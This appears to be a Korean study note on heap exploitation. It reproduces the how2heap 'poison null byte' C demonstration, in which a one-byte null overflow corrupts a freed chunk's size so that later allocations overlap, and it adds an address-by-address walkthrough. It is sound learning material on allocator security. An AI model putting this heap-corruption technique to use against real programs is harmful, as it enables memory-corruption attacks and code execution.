#include <stdio.h> #include <stdlib.h> #include <string.h> | |
#include <stdint.h> | |
#include <malloc.h> | |
int main() | |
{ | |
printf("Welcome to poison null byte 2.0!\n"); | |
printf("Tested in Ubuntu 14.04 64bit.\n"); | |
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); | |
uint8_t* a; | |
uint8_t* b; | |
uint8_t* c; | |
uint8_t* b1; | |
uint8_t* b2; | |
uint8_t* d; | |
printf("We allocate 0x100 bytes for 'a'.\n"); | |
a = (uint8_t*) malloc(0x100); | |
printf("a: %p\n", a); | |
int real_a_size = malloc_usable_size(a); | |
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " | |
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size); | |
/* chunk size attribute cannot have a least significant byte with a value of 0x00. | |
* the least significant byte of this will be 0x10, because the size of the chunk includes | |
* the amount requested plus some amount required for the metadata. */ | |
b = (uint8_t*) malloc(0x200); | |
printf("b: %p\n", b); | |
c = (uint8_t*) malloc(0x100); | |
printf("c: %p\n", c); | |
uint64_t* b_size_ptr = (uint64_t*)(b - 8); | |
/* this technique works by overwriting the size metadata of a free chunk */ | |
free(b); | |
printf("b.size: %#lx\n", *b_size_ptr); | |
printf("b.size is: (0x200 + 0x10) | prev_in_use\n"); | |
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); | |
a[real_a_size] = 0; | |
printf("b.size: %#lx\n", *b_size_ptr); | |
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; | |
printf("c.prev_size is %#lx\n",*c_prev_size_ptr); | |
b1 = malloc(0x100); | |
printf("b1: %p\n",b1); | |
printf("Now we malloc 'b1'. It will be placed where 'b' was. " | |
"At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr); | |
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " | |
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); | |
printf("We malloc 'b2', our 'victim' chunk.\n"); | |
b2 = malloc(0x80); | |
printf("b2: %p\n",b2); | |
memset(b2,'B',0x80); | |
printf("Current b2 content:\n%s\n",b2); | |
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); | |
free(b1); | |
free(c); | |
printf("Finally, we allocate 'd', overlapping 'b2'.\n"); | |
d = malloc(0x300); | |
printf("d: %p\n",d); | |
printf("Now 'd' and 'b2' overlap.\n"); | |
memset(d,'D',0x300); | |
printf("New b2 content:\n%s\n",b2); | |
printf("Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf " | |
"for the clear explanation of this technique.\n"); | |
} overwrite시키지 않을때의 코드와 비교해본다. 먼저 malloc()을 통해, a는 0x555555757420 b는 0x555555757530 c는 0x555555757740 에 박힌다. free(b)를 하면 다음과 같은 변화가 일어난다. 그 다음, a[real_a_size] = 0; 을 시키면 0x555555757528에 \x00이 들어가게 된다. 이후 b1을 malloc할때, b1은 0x55555757530에 들어가게 되는데, 원래는 이랬어야 했는데,
b1의 사이즈가 제대로 박히지 않고, 엉뚱한 f0가 들어가게 된다. c.prev_size가 업데이트가 안된것이다. 그 다음 b2를 malloc하면, 0x555555757640에 박힌다. free(b1),free(b2)를 한 뒤, d를 malloc하는데, 원래는 0x5555557576d0에 d가 박히지만, a를 오버플로우 시킨뒤에는 0x555555757530에 d가 박힌다.(원래 b의 위치) 원래는 b2가 d의 뒤에 있어야 하지만, 지금은 d가 b2 앞에 있게 되고, memset(d,'D',0x300);을 시행하고 나면, b2까지 덮이게 되는 것이다. |
시스템 해킹/cykor